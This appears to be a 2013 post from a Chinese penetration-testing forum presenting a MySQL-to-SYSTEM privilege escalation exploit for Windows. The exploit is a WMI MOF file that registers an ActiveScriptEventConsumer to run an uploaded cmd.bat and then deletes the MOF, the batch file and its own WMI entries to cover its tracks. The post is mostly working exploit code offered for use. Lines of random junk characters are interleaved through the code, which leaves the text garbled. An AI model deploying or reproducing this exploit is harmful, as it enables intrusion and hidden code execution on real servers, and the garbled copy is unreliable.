中国网络渗透测试联盟
标题:
Mysql 提权即时无错Mof exp
[打印本页]
作者:
admin
时间:
2013-2-14 00:05
标题:
Mysql 提权即时无错Mof exp
这个sql提权MOF需要运行 system下的文件,不能定义路径。
4 S. A2 b* f+ v1 p& {& x: ^* H- Z
需要将要运行的命令写入到bat上传到system32目录,然后执行。
- {5 q4 [& S# d; s7 \
; |4 I7 G% J( B" d+ `
这个sql提权MOF需要运行 system下的文件,不能定义路径。
6 }+ y& {# x/ i8 I8 E
需要将要运行的命令写入到bat上传到system32目录,然后执行。
* x& K# K6 H! v. w
3 \$ K; |8 ]4 V( A
#pragma
, o/ B+ W& ?2 s$ T( f/ x& L% u( ~
namespace("\\\\.\\root\\cimv2")
/ Z0 _0 t4 p! a" ^5 x. i6 d
class
: V4 M1 X+ k- M; n
MyClass547
/ G+ A+ a; U0 ~& {3 Q* |
{ [key]
3 R4 k2 d) {+ p5 b- P- H
string
# [3 B1 F1 ~- ^5 R% g. h5 D( a! f
Name;
& g7 _# \9 L6 w* y; o9 `
};
3 {: I0 }) O. ]) T
class
( z- h, E/ `; D4 }6 J
ActiveScriptEventConsumer
, J2 `9 S! X0 j. T% e' r, m2 l4 j7 P
: __EventConsumer { [key]
) S8 s" W$ r7 D& t7 \" k
string
* N* y( ^" Y6 G4 P( U
Name; [not_null]
0 l: S- \1 w. k5 ?0 V
string
9 K, H: p& X; j& I3 ]: M, L. t# r! b8 p
ScriptingEngine; string
: n( z; q6 | f P% |
ScriptFileName; [template]
" t; x$ e& \" D3 I" f( o; c
string
( t+ y8 N) c" E( X1 J- S9 \+ c
ScriptText; uint32 KillTimeout;
8 U$ U$ a3 K8 p) ? S' y; j
}; instance of __Win32Provider as $P {
1 L! j5 f0 [+ i: P/ Z: l! ~
Name
- Q W+ e, N1 r3 P6 g9 N
=
. \1 A1 c# N U/ ^+ |+ c' j9 G
"ActiveScriptEventConsumer"; CLSID =
2 x' ?5 M+ H; c0 w( _3 d
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
2 X+ r: X" w% `
PerUserInitialization
5 R( T6 d1 R# ?
= TRUE;
; ]2 K$ r& K! D7 o( w) t
}; instance of __EventConsumerProviderRegistration { Provider
5 b+ u h5 U/ A$ r
= $P; ConsumerClassNames
' q& E. X% b( d# j$ ~
=
; _8 E& u, q' y( d: ^4 ?) P
{"ActiveScriptEventConsumer"};
: x1 e; w* U; ]. V2 `2 d. c# h
};
& W2 Q, ?, T% r9 g# y/ W
Instance of ActiveScriptEventConsumer
h4 \& I3 j/ P) O1 D' ? ]9 b; E
as $cons { Name
2 y! f& o) P% j9 D, T! Z& l
=
% w" e% C2 V# O* O9 F
"ASEC"; ScriptingEngine
1 L- R( a; p3 `% j& u( h/ }, T
=
4 B/ q0 I" l$ W) W+ [0 M
"JScript"; ScriptText
" c" W; M) A/ L) D, X8 p" ~- Z6 w
=
& i6 O9 \# E/ k5 p/ A
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
* _3 o5 c) @/ c3 e3 y
Instance of ActiveScriptEventConsumer
! E% M+ n- Q5 @7 U+ F( K) V' W3 I
as $cons2 { Name
[" b, _2 J% P3 a$ @/ ?
=
i2 W5 L1 I( A, X
"qndASEC"; ScriptingEngine
. R, h& {- m0 T3 q8 W: y
=
* ^4 ?" p5 C: Z9 |, u! Q( a- e# V) e
"JScript"; ScriptText
; B8 l5 m) }5 F4 W, n. M
=
3 Q! \$ v2 M9 W! q
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
6 ^2 N4 Q3 _- B
}; instance of __EventFilter as $Filt { Name
2 @( ~ u: `) z. j( y6 Z' K
=
6 {9 o' ]7 y& L7 \- k5 I4 V
"instfilt"; Query
& V8 \6 K1 `" {% A3 W. N
=
- t% |. |! F2 m! ?
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
V" w5 ]4 T8 D
=
+ V7 b9 E% h8 I. D9 p
"WQL"; }; instance of __EventFilter as $Filt2 { Name
& z4 W2 W) o9 Y" j2 Q1 L
=
& N+ y3 e# K- v! k' S/ R! \; V7 X/ U
"qndfilt"; Query
5 } ~: _2 s2 a5 e5 l2 i3 m
=
: _ V: W' m9 I$ V# a# Y: b
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
5 @8 l8 a, r( R. v; p: k8 H8 i
=
$ u. n: ]- ]) }6 w+ m/ u$ m
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
; r$ W) o7 [+ G; a. \) H$ b' _
= $cons; Filter
0 I5 ^) a( Q. h" i
= $Filt;
$ n) A |. F* V {& @
}; instance of __FilterToConsumerBinding as $bind2 { Consumer
" o1 U8 J0 G' k
= $cons2; Filter
' r- w/ I- @3 h' Z* G V
= $Filt2;
. \! S" W3 f& q1 e6 c T* G% c
}; instance of MyClass547
6 e/ D( @- z. @7 y
as $MyClass { Name
/ Q. h4 w8 z, O
=
$ N! h4 w# s; b3 ^+ g) d# ?
"ClassConsumer";
+ D& w, X! R g( q# e
};
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2